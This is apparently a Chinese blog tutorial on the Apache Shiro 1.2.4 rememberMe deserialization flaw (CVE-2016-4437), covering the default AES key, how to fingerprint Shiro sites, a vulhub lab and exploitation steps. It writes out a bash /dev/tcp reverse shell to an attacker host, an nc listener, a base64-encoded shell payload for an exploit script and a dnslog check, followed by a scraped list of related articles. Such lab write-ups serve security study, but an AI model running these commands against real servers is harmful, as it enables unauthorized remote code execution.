Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )
目录
一. 漏洞描述
二. 影响版本
三. shiro特征
四. 如何判断网站是否使用shiro
五. 漏洞环境搭建
六. 漏洞利用
shiro_exploit.py
jar工具
七. 记一次Shiro实战(目标不出网)
一. 漏洞描述
Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。
工 作 原 理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
Shiro记住用户会话功能的逻辑为:
获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
漏 洞 原 理
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前,是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可以直接反序列化执行恶意代码。而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
漏洞特征: shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
二. 影响版本
- Apache Shiro <=1.2.4
三. shiro特征
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
四. 如何判断网站是否使用shiro
1. 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段
2. 如果以上么有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空
如我们直接访问登录的页面不进行登录,此时返回的数据包是没有remember字段的
这时,我们手动加上一个cookie:rememberMe=1,注意cookie要放在Upgrade的上面,则返回了remember字段。说明使用了shiro框架
五. 漏洞环境搭建
使用vulhub进行环境搭建,cd shiro,执行docker-compose up -d启动漏洞环境
访问8080,如下环境搭建成功
六. 漏洞利用
手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证
shiro_exploit.py
- 脚本下载地址:https://github.com/insightglacier/Shiro_exploit
- 基于python3,jdk1.8
1. 检测是否存在漏洞
首先去dnslog平台获取一个子域 -》DNSLog Platform
python shiro_exploit.py -t 3 -u 目标地址 -p "ping -c 2 dnslog"
查看dnslog平台,如下,说明漏洞存在
2. 执行反弹shell
(1)加密反弹shell语句
这里反弹shell的命令需要进行加密才能执行,加密网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T
bash -i >& /dev/tcp/攻击机ip/监听的端口 0>&1
进行加密
(2)vps开启监听
nc -lvp 6666
(3)执行反弹语句
python shiro_exploit.py -t 3 -u 目标ip -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcxxxxxxxuODguMTYyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
(4)接收反弹shell
jar工具
相较于上面的python脚本,图形化工具操作起来更加的简单
工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
1. 输入测试的URL ,点击下一步
2. 选择检测方式
有时候ceye.io方式检测不出来说不存在反序列化漏洞,则选择dnslog方式测一下
3. 然后点击下一步
判断是否存在漏洞
程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。
当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。
可以输入命令说明存在漏洞,输入id
4. 反弹shell(目标可以出网的前提下)
vps开启监听,选择反弹shell
5. 成功反弹shell
七. 记一次Shiro实战(目标不出网)
传送门-》记一次Shiro实战(目标不出网)
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )相关推荐
- Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
目录 1.Apache Shiro简介 2.漏洞原理 关键因素: 漏洞分析: 漏洞特征: 3.影响版本 4.漏洞复现 任意命令执行 GETSHELL 防御措施 1.Apache Shiro简介 Apa ...
- shiro反序列化工具_Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)源码解析
Apache Shiro Apache Shiro是一个功能强大且灵活的开源安全框架,主要功能包括用户认证.授权.会话管理以及加密.在了解该漏洞之前,建议学习下Apache Shiro是怎么使用. d ...
- Shiro的Java原生反序列化漏洞
参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...
- Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现
Apache Shiro Padding Oracle Attack (Shiro-721)漏洞复现 环境搭建 安装git 使用dockerfile 启动docker 获取dockerfile 查看是 ...
- shiro反序列化漏洞学习(工具+原理+复现)
工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...
- 经典的Shiro反序列化漏洞分析
更多黑客技能 公众号:小道黑客 作者:掌控安全-holic 0x01.前言 相信大家总是面试会问到java反序列化,或者会问到标志性的漏洞,比如shiro反序列化,或者weblogic反序列化漏洞. ...
- java反序列化漏洞的一些gadget
目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...
- Apache Shiro<=1.2.4反序列化RCE漏洞
版本:Apache Shiro<=1.2.4 介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的r ...
- Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】
文章目录 一.分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二. 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三.Gus系统 3.1. ...
- Apache Shiro Java 反序列化漏洞分析
Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...
最新文章
- python 解析XML xml.dom
- hdu 6112 今夕何夕
- Jquery 提示插件
- xdebug怎样在php中配置,教你在PHPStorm中配置Xdebug
- Linux 命令之 echo -- 输出指定的字符串或者变量的值
- Android 实现指纹识别demo
- UIButton或UILabel加个下划线
- 玛塔留言板无刷新留言板程序
- Python设置常量不可修改的办法
- markdown备忘
- 大数据_Flink_数据处理_流式数据源测试---Flink工作笔记0010
- FastFel解析一个公式的步骤
- matlab中solver函数_Matlab中solve函数用法详解
- python可视化分析网易云音乐评论_网易云音乐评论 可视化分析
- Smartbi的使用
- 程序设计思维与实践 Week15 实验
- Apsara Clouder云计算专项技能认证:云服务器ECS入门[考试真题]
- maven报错:Failed to execute goal on project ...: Could not resolve dependencies for project ...
- 第十六章 二次根式 教案
- VB.net学习笔记(六)VB.net的对象
热门文章
- mac mini 开发android,Mac mini M1上成功启动Ubuntu
- win10读不到移动硬盘
- windows系统统不支持mysql_Windows系统下MySQL无法启动的万能解决方法
- bitbucket配置_用Bitbucket搭建博客初探
- 【渝粤教育】国家开放大学2018年春季 7389-21T劳动与社会保障法 参考试题
- 三菱Q系列PLC ,QD77MS16走总线控制伺服项目
- 江南鹤微信公众号文章采集器,开发完成了!以后再也不发愁采集微信公众号文章了!
- 中国象棋AI在线弈游戏源码
- 【精品推荐】130个令你眼前一亮的网站,总有一个你用得着(转)
- 应用华为大数据平台配置大数据项目①